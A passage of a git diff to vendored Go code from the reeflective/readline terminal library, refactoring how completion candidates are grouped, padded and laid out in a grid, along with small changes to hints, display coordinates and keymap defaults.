checkDisplays(vals RawValues) RawValues { - if g.aliased { - return vals - } +// prepareValues ensures all of them have a display, and starts +// gathering information on longest/shortest values, etc. +func (g *group) prepareValues(vals RawValues) RawValues { + for pos, value := range vals { + if value.Display == "" { + value.Display = value.Value + } - if len(vals) == 0 { - g.columnsWidth[0] = term.GetWidth() - 1 - } + // Only pass for colors regex should be here. + value.displayLen = len(color.Strip(value.Display)) + value.descLen = len(color.Strip(value.Description)) - // Otherwise update the size of the longest candidate - for _, val := range vals { - valLen := utf8.RuneCountInString(val.Display) - if valLen > g.columnsWidth[0] { - g.columnsWidth[0] = valLen + if value.displayLen > g.longestValue { + g.longestValue = value.displayLen } + + if value.descLen > g.longestDesc { + g.longestDesc = value.descLen + } + + vals[pos] = value } return vals } -func (g *group) setOptions(comps Values, tag string, vals RawValues) { - // Override grid/list displays - _, g.list = comps.ListLong[tag] - if _, all := comps.ListLong["*"]; all && len(comps.ListLong) == 1 { - g.list = true - } +func (g *group) setMaximumSizes(col int) int { + // Get the length of the longest description in the same column. + maxDescLen := g.descriptionsWidth[col] + valuesRealLen := sum(g.columnsWidth) + len(g.columnsWidth) + len(g.listSep()) - // Always list long commands when they have descriptions. - if strings.HasSuffix(g.tag, "commands") && len(vals) > 0 && vals[0].Description != "" { - g.list = true + if valuesRealLen+maxDescLen > g.termWidth { + maxDescLen = g.termWidth - valuesRealLen + } else if valuesRealLen+maxDescLen < g.termWidth { + maxDescLen = g.termWidth - valuesRealLen } - // Description list separator - listSep, found := comps.ListSep[tag] - if !found { - if allSep, found := comps.ListSep["*"]; found { - g.listSeparator = allSep + return maxDescLen +} + +// calculateMaxColumnWidths is in charge of optimizing the sizes of rows/columns. +func (g *group) calculateMaxColumnWidths(grid [][]Candidate) { + var numColumns int + + // Get the row with the greatest number of columns. + for _, row := range grid { + if len(row) > numColumns { + numColumns = len(row) } - } else { - g.listSeparator = listSep } - // Override sorting or sort if needed - _, g.noSort = comps.NoSort[tag] - if _, all := comps.NoSort["*"]; all && len(comps.NoSort) == 1 { - g.noSort = true - } + // First, all columns are as wide as the longest of their elements, + // regardless of if this longest element is longer than terminal + values := make([]int, numColumns) + descriptions := make([]int, numColumns) - if !g.noSort { - sort.Slice(vals, func(i, j int) bool { - return vals[i].Display < vals[j].Display - }) - } -} + for _, row := range grid { + for columnIndex, value := range row { + if value.displayLen+1 > values[columnIndex] { + values[columnIndex] = value.displayLen + 1 + } -func (g *group) computeCells(eng *Engine, vals RawValues) { - // Aliases will compute themselves individually, later. - if g.aliased { - return + if value.descLen+1 > descriptions[columnIndex] { + descriptions[columnIndex] = value.descLen + 1 + } + } } - if len(vals) == 0 { - return + // If we have only one row, it means that the number of columns + // multiplied by the size on the longest one will fit into the + // terminal, so we can just + if len(grid) == 1 && len(grid[0]) <= numColumns && sum(descriptions) == 0 { + for i := range values { + values[i] = g.longestValue + } } - g.tcMaxLength = g.columnsWidth[0] + // Last time adjustment: try to reallocate any space modulo to each column. + shouldPad := len(grid) > 1 && numColumns > 1 && sum(descriptions) == 0 + intraColumnSpace := (numColumns * 2) + totalSpaceUsed := sum(values) + sum(descriptions) + intraColumnSpace + freeSpace := g.termWidth - totalSpaceUsed - // Each value first computes the total amount of space - // it is going to take in a row (including the description) - for _, val := range vals { - candidate := g.displayTrimmed(color.Strip(val.Display)) - pad := strings.Repeat(" ", g.tcMaxLength-len(candidate)) - desc := g.descriptionTrimmed(val.Description) - display := fmt.Sprintf("%s%s%s", candidate, pad+" ", desc) - valLen := utf8.RuneCountInString(display) - - if valLen > g.maxCellLength { - g.maxCellLength = valLen + if shouldPad && !g.aliased && freeSpace >= numColumns { + each := freeSpace / numColumns + + for i := range values { + values[i] += each } } - // Adapt the maximum cell size based on inputrc settings. - compDisplayWidth := g.setMaxCellLength(eng) - - // We now have the length of the longest completion for this group, - // so we devise how many columns we can use to display completions. - g.setColumnsWidth(&vals, compDisplayWidth) + // The group is mostly ready to print and select its values for completion. + g.maxY = len(g.rows) + g.maxX = len(values) + g.columnsWidth = values + g.descriptionsWidth = descriptions } -func (g *group) setMaxCellLength(eng *Engine) int { - termWidth := term.GetWidth() +func (g *group) longestValueDescribed(vals []Candidate) int { + var longestDesc, longestVal int - compDisplayWidth := eng.config.GetInt("completion-display-width") - if compDisplayWidth > termWidth { - compDisplayWidth = -1 - } + // Equivalent to ` -- `, + // asuuming no trailing spaces in the completion + // nor leading spaces in the description. + descSeparatorLen := 1 + len(g.listSeparator) + 1 - if compDisplayWidth > 0 && compDisplayWidth < termWidth { - if g.maxCellLength < compDisplayWidth { - g.maxCellLength = compDisplayWidth - } else { - g.maxCellLength = termWidth + // Get the length of the longest value + // and the length of the longest description. + for _, val := range vals { + if val.displayLen > longestVal { + longestVal = val.displayLen } + + if val.descLen > longestDesc { + longestDesc = val.descLen + } + } + + if longestDesc > 0 { + longestDesc += descSeparatorLen } - return compDisplayWidth + // Always add one: there is at least one space between each column. + return longestVal + longestDesc + 1 } -func (g *group) setColumnsWidth(vals *RawValues, compDisplayWidth int) { - g.maxX = term.GetWidth() / (g.maxCellLength) - if g.maxX < 1 { - g.maxX = 1 // avoid a divide by zero error - } +func (g *group) trimDisplay(comp Candidate, pad, col int) (candidate, padded string) { + val := comp.Display - if g.maxX > len(*vals) { - g.maxX = len(*vals) + // No display value means padding. + if val == "" { + return "", padSpace(pad) } - if g.list || compDisplayWidth == 0 { - g.maxX = 1 - } + // Get the allowed length for this column. + // The display can never be longer than terminal width. + maxDisplayWidth := g.columnsWidth[col] + 1 - if g.maxX > compDisplayWidth && compDisplayWidth > 0 { - g.maxX = compDisplayWidth + if maxDisplayWidth > g.termWidth { + maxDisplayWidth = g.termWidth } - // We also have the width for each column - g.columnsWidth = make([]int, g.maxX) - for i := 0; i < g.maxX; i++ { - g.columnsWidth[i] = g.maxCellLength + val = sanitizer.Replace(val) + + if comp.displayLen > maxDisplayWidth { + val = color.Trim(val, maxDisplayWidth-trailingValueLen) + val += "..." // 3 dots + 1 safety space = -3 + + return val, " " } + + return val, padSpace(pad) } -func (g *group) makeMatrix(vals RawValues) { -nextValue: - for _, val := range vals { - valLen := utf8.RuneCountInString(val.Display) +func (g *group) trimDesc(val Candidate, pad int) (desc, padded string) { + desc = val.Description + if desc == "" { + return desc, padSpace(pad) + } - // If we have an alias, and we must get the right - // column and the right padding for this column. - if g.aliased { - for i, row := range g.values { - if row[0].Description == val.Description { - g.values[i] = append(row, val) - g.columnsWidth = getColumnPad(g.columnsWidth, valLen, len(g.values[i])) + // We don't compare against the terminal width: + // the correct padding should have been computed + // based on the space taken by all candidates + // described by our current string. + if pad > g.maxDescAllowed { + pad = g.maxDescAllowed - val.descLen + } - continue nextValue - } - } - } + desc = sanitizer.Replace(desc) - // Else, either add it to the current row if there is still room - // on it for this candidate, or add a new one. We only do that when - // we know we don't have aliases, or when we don't have to display list. - if !g.aliased && g.canFitInRow(term.GetWidth()) && !g.list { - g.values[len(g.values)-1] = append(g.values[len(g.values)-1], val) - } else { - // Else create a new row, and update the row pad. - g.values = append(g.values, []Candidate{val}) - if g.columnsWidth[0] < valLen+1 { - g.columnsWidth[0] = valLen + 1 - } - } - } + // Trim the description accounting for escapes. + if val.descLen > g.maxDescAllowed && g.maxDescAllowed > 0 { + desc = color.Trim(desc, g.maxDescAllowed-trailingDescLen) + desc += "..." // 3 dots = -3 - if g.aliased { - g.maxX = len(g.columnsWidth) - g.tcMaxLength = sum(g.columnsWidth) + len(g.columnsWidth) + 1 + return g.listSep() + desc, "" } - g.maxY = len(g.values) - if g.maxY > g.maxLength && g.maxLength != 0 { - g.maxY = g.maxLength + if val.descLen+pad > g.maxDescAllowed { + pad = g.maxDescAllowed - val.descLen } + + return g.listSep() + desc, padSpace(pad) } -func (g *group) canFitInRow(termWidth int) bool { - if len(g.values) == 0 { - return false +func (g *group) getPad(value Candidate, columnIndex int, desc bool) int { + columns := g.columnsWidth + var valLen = value.displayLen - 1 + + if desc { + columns = g.descriptionsWidth + valLen = value.descLen } - if termWidth/(g.maxCellLength)-1 < len(g.values[len(g.values)-1]) { - return false + // Ensure we never longer or even fully equal + // to the terminal size: we are not really sure + // of where offsets might be set in the code... + column := columns[columnIndex] + if column > g.termWidth-1 { + column = g.termWidth - 1 + } + + padding := column - valLen + + if padding < 0 { + return 0 } - return true + return padding +} + +func (g *group) listSep() string { + return g.listSeparator + " " } // @@ -379,8 +440,8 @@ func (g *group) updateIsearch(eng *Engine) { suggs := make([]Candidate, 0) - for i := range g.values { - row := g.values[i] + for i := range g.rows { + row := g.rows[i] for _, val := range row { if eng.IsearchRegex.MatchString(val.Value) { @@ -392,49 +453,36 @@ func (g *group) updateIsearch(eng *Engine) { } // Reset the group parameters - g.values = make([][]Candidate, 0) + g.rows = make([][]Candidate, 0) g.posX = -1 g.posY = -1 - g.columnsWidth = []int{0} - // Assign the filtered values: we don't need to check - // for a separate set of non-described values, as the - // completions have already been triaged when generated. - vals, _, aliased := eng.groupValues(nil, suggs) - g.aliased = aliased - - if len(vals) == 0 { - return - } - - // And perform the usual initialization routines. - vals = g.checkDisplays(vals) - g.computeCells(eng, vals) - g.makeMatrix(vals) -} + // Initial processing of our assigned values: + // Compute color/no-color sizes, some max/min, etc. + suggs = g.prepareValues(suggs) -func (g *group) firstCell() { - g.posX = 0 - g.posY = 0 -} - -func (g *group) lastCell() { - g.posY = len(g.values) - 1 - g.posX = len(g.columnsWidth) - 1 - - if g.aliased { - g.findFirstCandidate(0, -1) + // Generate the full grid of completions. + // Special processing is needed when some values + // share a common description, they are "aliased". + if completionsAreAliases(suggs) { + g.initCompletionAliased(suggs) } else { - g.posX = len(g.values[g.posY]) - 1 + g.initCompletionsGrid(suggs) } } func (g *group) selected() (comp Candidate) { + defer func() { + if !g.preserveEscapes { + comp.Value = color.Strip(comp.Value) + } + }() + if g.posY == -1 || g.posX == -1 { - return g.values[0][0] + return g.rows[0][0] } - return g.values[g.posY][g.posX] + return g.rows[g.posY][g.posX] } func (g *group) moveSelector(x, y int) (done, next bool) { @@ -462,7 +510,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { } g.posY-- - g.posX = len(g.values[g.posY]) - 1 + g.posX = len(g.rows[g.posY]) - 1 } // 2) If we are reverse-cycling and currently on the first candidate, @@ -475,7 +523,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { return true, false } - g.posY = len(g.values) - 1 + g.posY = len(g.rows) - 1 g.posX-- } @@ -491,7 +539,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { } // 4) If we are on the last column, go to next row or next group - if g.posX > len(g.values[g.posY])-1 { + if g.posX > len(g.rows[g.posY])-1 { if g.aliased { return g.findFirstCandidate(x, y) } @@ -513,7 +561,7 @@ func (g *group) moveSelector(x, y int) (done, next bool) { // otherwise loop in the direction wished until one is found, or go next/ // previous column, and so on. func (g *group) findFirstCandidate(x, y int) (done, next bool) { - for g.posX > len(g.values[g.posY])-1 { + for g.posX > len(g.rows[g.posY])-1 { g.posY += y g.posY += x @@ -526,7 +574,7 @@ func (g *group) findFirstCandidate(x, y int) (done, next bool) { return true, false } - g.posY = len(g.values) - 1 + g.posY = len(g.rows) - 1 g.posX-- } @@ -544,198 +592,69 @@ func (g *group) findFirstCandidate(x, y int) (done, next bool) { return } -func (g *group) writeComps(eng *Engine) (comp string) { - if len(g.values) == 0 { - return - } - - if g.tag != "" { - comp += fmt.Sprintf("%s%s%s %s", color.Bold, color.FgYellow, g.tag, color.Reset) + term.ClearLineAfter + term.NewlineReturn - eng.usedY++ - } - - // Base parameters - var columns, rows int - - for range g.values { - // Generate the completion string for this row (comp/aliases - // and/or descriptions), and apply any styles and isearch - // highlighting with pattern replacement, - comp += g.writeRow(eng, columns) - - columns++ - rows++ - - if rows > g.maxY { - break - } - } - - eng.usedY += rows - - return comp +func (g *group) firstCell() { + g.posX = 0 + g.posY = 0 } -func (g *group) writeRow(eng *Engine, row int) (comp string) { - current := g.values[row] - - writeDesc := func(val Candidate, x, y, pad int) string { - desc := g.highlightDescription(eng, val, y, x) - descPad := g.padDescription(current, val, pad) - - if descPad > 0 { - desc += strings.Repeat(" ", descPad) - } - - return desc - } - - for col, val := range current { - // Generate the highlighted candidate with its padding - isSelected := row == g.posY && col == g.posX && g.isCurrent - cell, pad := g.padCandidate(current, val, col) - comp += g.highlightCandidate(eng, val, cell, pad, isSelected) + " " +func (g *group) lastCell() { + g.posY = len(g.rows) - 1 + g.posX = len(g.columnsWidth) - 1 - // And append the description only if at the end of the row, - // or if there are no aliases, in which case all comps are described. - if !g.aliased || col == len(current)-1 { - comp += writeDesc(val, col, row, len(cell)+len(pad)) - } + if g.aliased { + g.findFirstCandidate(0, -1) + } else { + g.posX = len(g.rows[g.posY]) - 1 } - - comp += term.ClearLineAfter + term.NewlineReturn - - return } -func (g *group) highlightCandidate(eng *Engine, val Candidate, cell, pad string, selected bool) (candidate string) { - reset := color.Fmt(val.Style) - candidate = g.displayTrimmed(val.Display) +func completionsAreAliases(values []Candidate) bool { + oddValueMap := make(map[string]bool) - if eng.IsearchRegex != nil && eng.isearchBuf.Len() > 0 { - match := eng.IsearchRegex.FindString(candidate) - match = color.Fmt(color.Bg+"244") + match + color.Reset + reset - candidate = eng.IsearchRegex.ReplaceAllLiteralString(candidate, match) - } - - switch { - // If the comp is currently selected, overwrite any highlighting already applied. - case selected: - candidate = color.Fmt(color.Bg+"255") + color.FgBlackBright + g.displayTrimmed(color.Strip(val.Display)) - if g.aliased { - candidate += cell + color.Reset + for _, value := range values { + if value.Description == "" { + continue } - default: - // Highlight the prefix if any and configured for it. - if eng.config.GetBool("colored-completion-prefix") && eng.prefix != "" { - if prefixMatch, err := regexp.Compile(fmt.Sprintf("^%s", eng.prefix)); err == nil { - candidate = prefixMatch.ReplaceAllString(candidate, color.Bold+color.FgBlue+eng.prefix+color.BoldReset+color.FgDefault+reset) - } + if _, found := oddValueMap[value.Description]; found { + return true } - candidate = reset + candidate + color.Reset + cell + oddValueMap[value.Description] = true } - return candidate + pad + return false } -func (g *group) highlightDescription(eng *Engine, val Candidate, row, col int) (desc string) { - if val.Description == "" { - return color.Reset +func createGrid(values []Candidate, rowCount, maxColumns int) [][]Candidate { + if rowCount < 0 { + rowCount = 0 } - desc = g.descriptionTrimmed(val.Description) - - if eng.IsearchRegex != nil && eng.isearchBuf.Len() > 0 { - match := eng.IsearchRegex.FindString(desc) - match = color.Fmt(color.Bg+"244") + match + color.Reset + color.Dim - desc = eng.IsearchRegex.ReplaceAllLiteralString(desc, match) - } + grid := make([][]Candidate, rowCount) - // If the comp is currently selected, overwrite any highlighting already applied. - if row == g.posY && col == g.posX && g.isCurrent && !g.aliased { - desc = color.Fmt(color.Bg+"255") + color.FgBlackBright + g.descriptionTrimmed(val.Description) + for i := 0; i < rowCount; i++ { + grid[i] = createRow(values, maxColumns, i) } - return color.Dim + desc + color.Reset + return grid } -func (g *group) padCandidate(row []Candidate, val Candidate, col int) (cell, pad string) { - var cellLen, padLen int - valLen := utf8.RuneCountInString(val.Display) +func createRow(domains []Candidate, maxColumns, rowIndex int) []Candidate { + rowStart := rowIndex * maxColumns + rowEnd := (rowIndex + 1) * maxColumns - if !g.aliased { - padLen = g.tcMaxLength - valLen - if padLen < 0 { - padLen = 0 - } - - return "", strings.Repeat(" ", padLen) + if rowEnd > len(domains) { + rowEnd = len(domains) } - cellLen = g.columnsWidth[col] - valLen - - if len(row) == 1 { - padLen = sum(g.columnsWidth) + len(g.columnsWidth) - g.columnsWidth[col] - 1 - } - - return strings.Repeat(" ", cellLen), strings.Repeat(" ", padLen) -} - -func (g *group) padDescription(row []Candidate, val Candidate, valPad int) (pad int) { - if g.aliased { - return 1 - } - - candidateLen := len(g.displayTrimmed(val.Display)) + valPad + 1 - individualRest := (term.GetWidth() % g.maxCellLength) / (g.maxX + len(row)) - pad = g.maxCellLength - candidateLen - len(g.descriptionTrimmed(val.Description)) + individualRest - - if pad > 1 { - pad-- - } - - return pad + return domains[rowStart:rowEnd] } -func (g *group) displayTrimmed(val string) string { - termWidth := term.GetWidth() - if g.tcMaxLength > termWidth-1 { - g.tcMaxLength = termWidth - 1 +func padSpace(times int) string { + if times > 0 { + return strings.Repeat(" ", times) } - if len(val) > g.tcMaxLength { - val = val[:g.tcMaxLength-3] + "..." - } - - val = sanitizer.Replace(val) - - return val -} - -func (g *group) descriptionTrimmed(desc string) string { - if desc == "" { - return desc - } - - termWidth := term.GetWidth() - if g.tcMaxLength > termWidth { - g.tcMaxLength = termWidth - } - - g.maxDescWidth = termWidth - g.tcMaxLength - len(g.listSeparator) - 1 - - if len(desc) >= g.maxDescWidth { - offset := 4 - if !g.aliased { - offset++ - } - - desc = desc[:g.maxDescWidth-offset] + "..." - } - - desc = g.listSeparator + " " + sanitizer.Replace(desc) - - return desc + return "" } diff --git a/vendor/github.com/reeflective/readline/internal/completion/hint.go b/vendor/github.com/reeflective/readline/internal/completion/hint.go index 0aeeb979f4..42dec696d3 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/hint.go +++ b/vendor/github.com/reeflective/readline/internal/completion/hint.go @@ -18,10 +18,18 @@ func (e *Engine) hintCompletions(comps Values) { } } - // And all further messages - hint += strings.Join(comps.Messages.Get(), term.NewlineReturn) + // Add application-specific messages. + // There is full support for color in them, but in case those messages + // don't include any, we tame the color a little bit first, like hints. + messages := strings.Join(comps.Messages.Get(), term.NewlineReturn) + messages = strings.TrimSuffix(messages, term.NewlineReturn) - if e.Matches() == 0 && hint == "" && !e.auto { + if messages != "" { + hint = hint + color.Dim + messages + } + + // If we don't have any completions, and no messages, let's say it. + if e.Matches() == 0 && hint == color.Dim+term.NewlineReturn && !e.auto { hint = e.hintNoMatches() } diff --git a/vendor/github.com/reeflective/readline/internal/completion/utils.go b/vendor/github.com/reeflective/readline/internal/completion/utils.go index a07223e49a..64b0c6f3f4 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/utils.go +++ b/vendor/github.com/reeflective/readline/internal/completion/utils.go @@ -4,12 +4,15 @@ import ( "strings" "unicode" + "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/keymap" "github.com/reeflective/readline/internal/term" ) -// Maximum ratio of the screen that described values can have. -var maxValuesAreaRatio = 0.5 +const ( + trailingDescLen = 3 + trailingValueLen = 4 +) var sanitizer = strings.NewReplacer( "\n", ``, @@ -21,16 +24,38 @@ var sanitizer = strings.NewReplacer( // and prefix/suffix strings, but does not attempt any candidate // insertion/abortion on the line. func (e *Engine) prepare(completions Values) { + e.prefix = "" e.groups = make([]*group, 0) e.setPrefix(completions) e.setSuffix(completions) + e.generate(completions) +} + +func (e *Engine) generate(completions Values) { + // Compute hints once we found either any errors, + // or if we have no completions but usage strings. + defer func() { + e.hintCompletions(completions) + }() + + // Nothing else to do if no completions + if len(completions.values) == 0 { + return + } + + // Apply the prefix to the completions, and filter out any + // completions that don't match, optionally ignoring case. + matchCase := e.config.GetBool("completion-ignore-case") + completions.values = completions.values.FilterPrefix(e.prefix, !matchCase) - e.group(completions) + // Classify, group together and initialize completions. + completions.values.EachTag(e.generateGroup(completions)) + e.justifyGroups(completions) } -func (e *Engine) setPrefix(comps Values) { - switch comps.PREFIX { +func (e *Engine) setPrefix(completions Values) { + switch completions.PREFIX { case "": // Select the character just before the cursor. cpos := e.cursor.Pos() - 1 @@ -49,15 +74,18 @@ func (e *Engine) setPrefix(comps Values) { cpos++ } + // You might wonder why we trim spaces here: + // in practice we don't really ever want to + // consider "how many spaces are somewhere". e.prefix = strings.TrimSpace(string((*e.line)[bpos:cpos])) default: - e.prefix = comps.PREFIX + e.prefix = completions.PREFIX } } -func (e *Engine) setSuffix(comps Values) { - switch comps.SUFFIX { +func (e *Engine) setSuffix(completions Values) { + switch completions.SUFFIX { case "": cpos := e.cursor.Pos() _, epos := e.line.SelectBlankWord(cpos) @@ -81,8 +109,68 @@ func (e *Engine) setSuffix(comps Values) { e.suffix = strings.TrimSpace(string((*e.line)[cpos:epos])) default: - e.suffix = comps.SUFFIX + e.suffix = completions.SUFFIX + } +} + +// Returns a function to run on each completio group tag. +func (e *Engine) generateGroup(comps Values) func(tag string, values RawValues) { + return func(tag string, values RawValues) { + // Separate the completions that have a description and + // those which don't, and devise if there are aliases. + vals, noDescVals, descriptions := e.groupNonDescribed(&comps, values) + + // Create a "first" group with the "first" grouped values + e.newCompletionGroup(comps, tag, vals, descriptions) + + // If we have a remaining group of values without descriptions, + // we will print and use them in a separate, anonymous group. + if len(noDescVals) > 0 { + e.newCompletionGroup(comps, "", vals, descriptions) + } + } +} + +// groupNonDescribed separates values based on whether they have descriptions, or are aliases of each other. +func (e *Engine) groupNonDescribed(comps *Values, values RawValues) (vals, noDescVals RawValues, descs []string) { + var descriptions []string + + prefix := "" + if e.prefix != "\"\"" && e.prefix != "''" { + prefix = e.prefix + } + + for _, val := range values { + // Ensure all values have a display string. + if val.Display == "" { + val.Display = val.Value + } + + // Currently this is because errors are passed as completions. + if strings.HasPrefix(val.Value, prefix+"ERR") && val.Value == prefix+"_" { + comps.Messages.Add(color.FgRed + val.Display + val.Description) + + continue + } + + // Grid completions + if val.Description == "" { + noDescVals = append(noDescVals, val) + + continue + } + + descriptions = append(descriptions, val.Description) + vals = append(vals, val) + } + + // if no candidates have a description, swap + if len(vals) == 0 { + vals = noDescVals + noDescVals = make(RawValues, 0) } + + return vals, noDescVals, descriptions } func (e *Engine) currentGroup() (grp *group) { @@ -95,7 +183,7 @@ func (e *Engine) currentGroup() (grp *group) { // If there are groups but no current, make first one the king. if len(e.groups) > 0 { for _, g := range e.groups { - if len(g.values) > 0 { + if len(g.rows) > 0 { g.isCurrent = true return g } @@ -124,7 +212,7 @@ func (e *Engine) cycleNextGroup() { for { next := e.currentGroup() - if len(next.values) == 0 { + if len(next.rows) == 0 { e.cycleNextGroup() continue } @@ -151,7 +239,7 @@ func (e *Engine) cyclePreviousGroup() { for { prev := e.currentGroup() - if len(prev.values) == 0 { + if len(prev.rows) == 0 { e.cyclePreviousGroup() continue } @@ -160,6 +248,40 @@ func (e *Engine) cyclePreviousGroup() { } } +func (e *Engine) justifyGroups(values Values) { + commandGroups := make([]*group, 0) + maxCellLength := 0 + + for _, group := range e.groups { + // Skip groups that are not to be justified + justify := values.Pad[group.tag] + if !justify { + justify = values.Pad["*"] + } + + if !justify { + continue + } + + // Skip groups that are aliased or have more than one column + if group.aliased || len(group.columnsWidth) > 1 { + continue + } + + // Else this group should be justified-padded globally. + commandGroups = append(commandGroups, group) + + if group.longestValue > maxCellLength { + maxCellLength = group.longestValue + } + } + + for _, group := range commandGroups { + group.columnsWidth[0] = maxCellLength + group.longestValue = maxCellLength + } +} + func (e *Engine) adjustCycleKeys(row, column int) (int, int) { cur := e.currentGroup() @@ -190,23 +312,25 @@ func (e *Engine) adjustSelectKeymap() { } } +// completionCount returns the number of completions for a given group, +// as well as the number of real terminal lines it spans on, including +// the group name if there is one. func (e *Engine) completionCount() (comps int, used int) { for _, group := range e.groups { - groupComps := 0 - - for _, row := range group.values { - groupComps += len(row) - comps += groupComps + // First, agree on the number of comps. + for _, row := range group.rows { + comps += len(row) } - if group.maxY > len(group.values) { - used += len(group.values) - } else { - used += group.maxY + // One line for the group name + if group.tag != "" { + used++ } - if groupComps > 0 { - used++ + if group.maxY > len(group.rows) { + used += group.maxY + } else { + used += len(group.rows) } } @@ -224,18 +348,18 @@ func (e *Engine) hasUniqueCandidate() bool { return false } - if len(cur.values) == 1 { - return len(cur.values[0]) == 1 + if len(cur.rows) == 1 { + return len(cur.rows[0]) == 1 } - return len(cur.values) == 1 + return len(cur.rows) == 1 default: var count int GROUPS: for _, group := range e.groups { - for _, row := range group.values { + for _, row := range group.rows { count++ for range row { count++ @@ -252,7 +376,7 @@ func (e *Engine) hasUniqueCandidate() bool { func (e *Engine) noCompletions() bool { for _, group := range e.groups { - if len(group.values) > 0 { + if len(group.rows) > 0 { return false } } @@ -314,7 +438,7 @@ func (e *Engine) getAbsPos() int { for _, grp := range e.groups { groupComps := 0 - for _, row := range grp.values { + for _, row := range grp.rows { groupComps += len(row) } @@ -346,35 +470,6 @@ func (e *Engine) getAbsPos() int { return prev } -// getColumnPad either updates or adds a new column for an alias. -func getColumnPad(columns []int, valLen int, numAliases int) []int { - switch { - case (float64(sum(columns) + valLen)) > - (float64(term.GetWidth()) * maxValuesAreaRatio): - columnX := numAliases % len(columns) - - if columns[columnX] < valLen { - columns[columnX] = valLen - } - case numAliases > len(columns): - columns = append(columns, valLen) - case columns[numAliases-1] < valLen: - columns[numAliases-1] = valLen - } - - return columns -} - -func stringInSlice(s string, sl []string) bool { - for _, str := range sl { - if s == str { - return true - } - } - - return false -} - func sum(vals []int) (sum int) { for _, val := range vals { sum += val @@ -392,3 +487,18 @@ func hasUpper(line []rune) bool { return false } + +func longest(vals []string, trimEscapes bool) int { + var length int + for _, val := range vals { + if trimEscapes { + val = color.Strip(val) + } + + if len(val) > length { + length = len(val) + } + } + + return length +} diff --git a/vendor/github.com/reeflective/readline/internal/completion/values.go b/vendor/github.com/reeflective/readline/internal/completion/values.go index 7bbfaa97f1..5db020e3d5 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/values.go +++ b/vendor/github.com/reeflective/readline/internal/completion/values.go @@ -1,6 +1,8 @@ package completion -import "strings" +import ( + "strings" +) // RawValues is a list of completion candidates. type RawValues []Candidate @@ -62,22 +64,37 @@ func (c RawValues) EachTag(tagF func(tag string, values RawValues)) { // FilterPrefix filters values with given prefix. // If matchCase is false, the filtering is made case-insensitive. +// This function ensures that all spaces are correctly. func (c RawValues) FilterPrefix(prefix string, matchCase bool) RawValues { + if prefix == "" { + return c + } + filtered := make(RawValues, 0) if !matchCase { prefix = strings.ToLower(prefix) } - for _, r := range c { - val := r.Value + for _, raw := range c { + val := raw.Value + if !matchCase { val = strings.ToLower(val) } if strings.HasPrefix(val, prefix) { - filtered = append(filtered, r) + filtered = append(filtered, raw) } } + return filtered } + +func (c RawValues) Len() int { return len(c) } + +func (c RawValues) Swap(i, j int) { c[i], c[j] = c[j], c[i] } + +func (c RawValues) Less(i, j int) bool { + return strings.ToLower(c[i].Value) < strings.ToLower(c[j].Value) +} diff --git a/vendor/github.com/reeflective/readline/internal/display/engine.go b/vendor/github.com/reeflective/readline/internal/display/engine.go index 5cd907e73c..8b0c374194 100644 --- a/vendor/github.com/reeflective/readline/internal/display/engine.go +++ b/vendor/github.com/reeflective/readline/internal/display/engine.go @@ -84,7 +84,7 @@ func (e *Engine) Refresh() { // Get all positions required for the redisplay to come: // prompt end (thus indentation), cursor positions, etc. - e.computeCoordinates() + e.computeCoordinates(true) // Print the line, right prompt, hints and completions. e.displayLine() @@ -129,7 +129,7 @@ func (e *Engine) ResetHelpers() { func (e *Engine) AcceptLine() { e.CursorToLineStart() - e.computeCoordinates() + e.computeCoordinates(false) // Go back to the end of the non-suggested line. term.MoveCursorBackwards(term.GetWidth()) @@ -197,7 +197,7 @@ func (e *Engine) cursorHintToLineStart() { e.CursorToLineStart() } -func (e *Engine) computeCoordinates() { +func (e *Engine) computeCoordinates(suggested bool) { // Get the new input line and auto-suggested one. e.line, e.cursor = e.completer.Line() if e.completer.IsInserting() { @@ -222,7 +222,7 @@ func (e *Engine) computeCoordinates() { e.cursorCol, e.cursorRow = core.CoordinatesCursor(e.cursor, e.startCols) // Get the number of rows used by the line, and the end line X pos. - if e.opts.GetBool("history-autosuggest") { + if e.opts.GetBool("history-autosuggest") && suggested { e.lineCol, e.lineRows = core.CoordinatesLine(&e.suggested, e.startCols) } else { e.lineCol, e.lineRows = core.CoordinatesLine(e.line, e.startCols) diff --git a/vendor/github.com/reeflective/readline/internal/display/highlight.go b/vendor/github.com/reeflective/readline/internal/display/highlight.go index c45ebb8c71..5da978ca3f 100644 --- a/vendor/github.com/reeflective/readline/internal/display/highlight.go +++ b/vendor/github.com/reeflective/readline/internal/display/highlight.go @@ -174,7 +174,7 @@ func (e *Engine) hlAdd(regions []core.Selection, newHl core.Selection, line []ru // Update the highlighting with inputrc settings if any. if bg != "" && !matcher { - background := strings.ReplaceAll(e.opts.GetString("active-region-start-color"), `\e`, "\x1b") + background := color.UnquoteRC("active-region-start-color") if bg, _ = strconv.Unquote(background); bg == "" { bg = color.Reverse } diff --git a/vendor/github.com/reeflective/readline/internal/keymap/config.go b/vendor/github.com/reeflective/readline/internal/keymap/config.go index e787e2f978..fb23fbcde9 100644 --- a/vendor/github.com/reeflective/readline/internal/keymap/config.go +++ b/vendor/github.com/reeflective/readline/internal/keymap/config.go @@ -12,11 +12,18 @@ import ( // readline global options specific to this library. var readlineOptions = map[string]interface{}{ - "autocomplete": false, - "autopairs": false, + // General edition + "autopairs": false, + + // Completion + "autocomplete": false, + "completion-list-separator": "--", + "completion-selection-style": "\x1b[1;30m", + + // Prompt & General UI "transient-prompt": false, - "history-autosuggest": false, "usage-hint-always": false, + "history-autosuggest": false, } // ReloadConfig parses all valid .inputrc configurations and immediately diff --git a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go index 07b6dee4cc..2f7d476f30 100644 --- a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go +++ b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go @@ -1,6 +1,9 @@ package keymap -import "fmt" +import ( + "fmt" + "strings" +) // CursorStyle is the style of the cursor // in a given input mode/submode. @@ -46,18 +49,25 @@ var defaultCursors = map[Mode]CursorStyle{ // PrintCursor prints the cursor for the given keymap mode, // either default value or the one specified in inputrc file. +// TODO: I've been quite vicious here, I need to admit: the logic +// is not made to use the default user cursor in insert-mode. +// It didn't bother. And if that can help some getting to use +// .inputrc, so be it. func (m 